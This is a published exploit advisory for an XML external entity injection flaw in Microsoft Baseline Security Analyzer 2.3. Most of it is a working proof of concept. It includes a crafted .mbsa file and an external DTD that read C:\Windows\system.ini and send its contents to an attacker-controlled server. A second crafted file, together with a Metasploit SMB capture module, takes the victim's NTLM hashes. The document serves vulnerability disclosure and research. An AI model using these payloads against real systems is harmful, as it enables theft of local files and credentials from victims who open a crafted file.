Microsoft Baseline Security Analyzer 2.3 - XML External Entity Injection

# Title: Microsoft Baseline Security Analyzer 2.3 - XML External Entity Injection
# Date: 2018-09-08
# Author: John Page (aka hyp3rlinx)
# Vendor: Microsoft
# Software link: https://www.microsoft.com/en-us/download/details.aspx?id=7558
# Software Version: 2.3
# References: ZDI-CAN-6307
# References: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-BASELINE-ANALYZER-v2.3-XML-INJECTION.txt
# References: hyp3rlinx.altervista.org

# Security Issue
# Microsoft Baseline Security Analyzer allows local files to be exfiltrated to a remote attacker 
# controlled server if a user opens a specially crafted ".mbsa" file.

# Exploit/POC

# Install MBSA
# https://www.microsoft.com/en-us/download/details.aspx?id=7558

# 1) "evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# When victim attempts open file they get prompted "Do you want to let this app 
# make changes to your device?" However, it also indicates it is a "verified publisher" namely Microsoft. 
# After opening the local users files can be exfiltrated to a remote server.
# Moreover, we can use this to steal NTLM hashes.

# Using Forced Authentication to steal NTLM hashes

# 2) msf > use auxiliary/server/capture/smb
# msf auxiliary(smb) > exploit -j

"evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [ 
<!ENTITY % dtd SYSTEM "\\192.168.114.153\unknwonfilez">
%dtd;]>

# Result: credentials captured by remote sever